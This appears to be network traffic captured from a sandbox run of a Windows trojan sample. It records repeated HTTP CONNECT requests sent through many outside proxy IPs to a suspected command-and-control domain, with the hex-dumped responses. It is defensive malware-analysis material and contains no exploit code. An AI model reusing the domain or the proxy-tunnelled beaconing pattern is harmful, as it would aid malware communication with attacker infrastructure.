Feb 23, 2024 14:28:23.420514107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.8	50778	45.12.31.104	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.340797901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.428584099 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.8	50613	85.12.214.148	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.343888998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.8	50599	190.128.228.182	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.345597982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.599561930 CET	1286	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Server: Apache/2.4.56 (Ubuntu) Set-Cookie: PHPSESSID=ai6g9jn0f8et5ofjar59t88efq; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 5101 Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 69 6d 67 2f 66 75 74 75 72 61 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 55 54 55 52 41 31 30 30 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 21 2d 2d 20 46 6f 6e 74 66 61 63 65 73 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 66 6f 6e 74 2d 66 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2d 35 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 21 2d 2d 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 6d 64 69 2d 66 6f 6e 74 2f 63 73 73 2f 6d 61 74 65 72 69 61 6c 2d 64 65 73 69 67 6e 2d 69 63 6f 6e 69 63 2d 66 6f 6e 74 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d 20 42 6f 6f 74 73 74 72 61 70 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 73 74 61 74 69 63 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 0d 0a 3c 21 2d 2d 20 63 6f 64 69 67 6f 73 20 43 53 53 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 61 6e 69 6d 73 69 74 69 6f 6e 2f 61 6e 69 6d 73 69 74 69 6f 6e 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 2f 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <link rel="icon" href="static/src/img/futura.png"> <title>FUTURA100</title><link href="css/style.css" rel="stylesheet" media="all">... Fontfaces CSS--><link href="css/font-face.css" rel="stylesheet" media="all"><link href="codigos/font-awesome-5/css/fontawesome-all.min.css" rel="stylesheet" media="all">...<link href="codigos/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all">-->... Bootstrap CSS--><link href="static/lib/css/bootstrap/bootstrap.css" rel="stylesheet" media="all">... codigos CSS<link href="codigos/animsition/animsition.min.css" rel="stylesheet" media="all"><link href="codigos/perfect-scrollbar/perfect-scrollbar.css" rel="stylesheet" media="all">-->...
Feb 23, 2024 14:28:23.599750042 CET	1286	IN	Data Raw: 20 4d 61 69 6e 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 74 6f 75 72 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 Data Ascii: Main CSS--><link href="css/bootstrap-tour.min.css" rel="stylesheet" media="all"><link href="css/bootstrap-tour-standalone.css" rel="stylesheet" media="all"><link href="css/theme.css" rel="stylesheet" media="all"><link rel="stylesh
Feb 23, 2024 14:28:23.600003958 CET	1286	IN	Data Raw: 74 72 61 70 2d 74 6f 75 72 2d 30 2e 31 32 2e 30 2f 72 65 74 69 6e 61 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 Data Ascii: trap-tour-0.12.0/retina.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.18.5/xlsx.full.min.js" integrity="sha512-r22gChDnGvBylk90+2e/ycr3RVrDi8DIOkIGNhJlKfuyQM4tIRAI062MaV8sfjQKYVGjOBaZBOA87z+IhZE9DA==" crossorigi
Feb 23, 2024 14:28:23.600070953 CET	1286	IN	Data Raw: 69 c3 b3 6e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: in</button> </div> </div> </div> </div> <div class="p-3 d-flex justify-content-center mt-5" style="background-color: rgba(0, 0, 0, -0.9);width: 400px; margin-left:auto;margin-r
Feb 23, 2024 14:28:23.600078106 CET	298	IN	Data Raw: 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 6a 73 2f 6c 6f 67 69 Data Ascii: <script src="static/src/js/main.js"></script> <script src="static/src/js/login.js"></script> <script src="static/lib/js/bootstrap-tour-0.12.0/bootstrap-tour.min.js"></script> <script src="static/lib/js/bootstrap-tour-0.12.0/bootst
Feb 23, 2024 14:28:23.600152969 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 9d 76 6c f5 1f fb 96 b8 59 0d f1 00 34 47 7c c8 7a 71 68 27 e3 e2 b0 63 7c af 42 d4 73 1b 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: evlY4G\|zqh'c\|Bs*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 14:28:23.851063967 CET	494	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 13:28:23 GMT Server: Apache/2.4.56 (Ubuntu) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 67 72 2e 66 75 74 75 72 61 31 30 30 2e 63 6f 6d 2e 70 79 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Ubuntu) Server at agr.futura100.com.py Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.8	49924	209.145.56.51	6432	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.349877119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.382358074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382987976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.383126020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.382421970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:59.397914886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:11.397834063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.8	50797	162.243.102.207	9764	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.361008883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.8	50716	141.94.174.6	13326	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.367575884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.8	50801	172.67.182.102	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.371898890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.459657907 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.8	49932	174.75.211.222	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.372620106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.8	50805	104.19.235.10	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.372769117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.460067034 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.8	50820	104.16.195.74	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.382637978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.469846964 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.8	50836	134.122.26.11	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.395821095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.694700003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.007251024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.616641998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.991821051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.288670063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.491911888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991822004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.882581949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.8	50757	68.1.210.189	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.396953106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.8	50726	113.30.149.76	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.399709940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.8	49941	174.77.111.196	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.414660931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.8	50784	132.148.244.30	44957	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.414663076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.835352898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.272866011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.147903919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882667065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.695207119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.491938114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.992175102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.991995096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.8	50758	51.75.125.208	15084	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.414949894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.866600037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.366648912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.491766930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.499449968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.491978884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
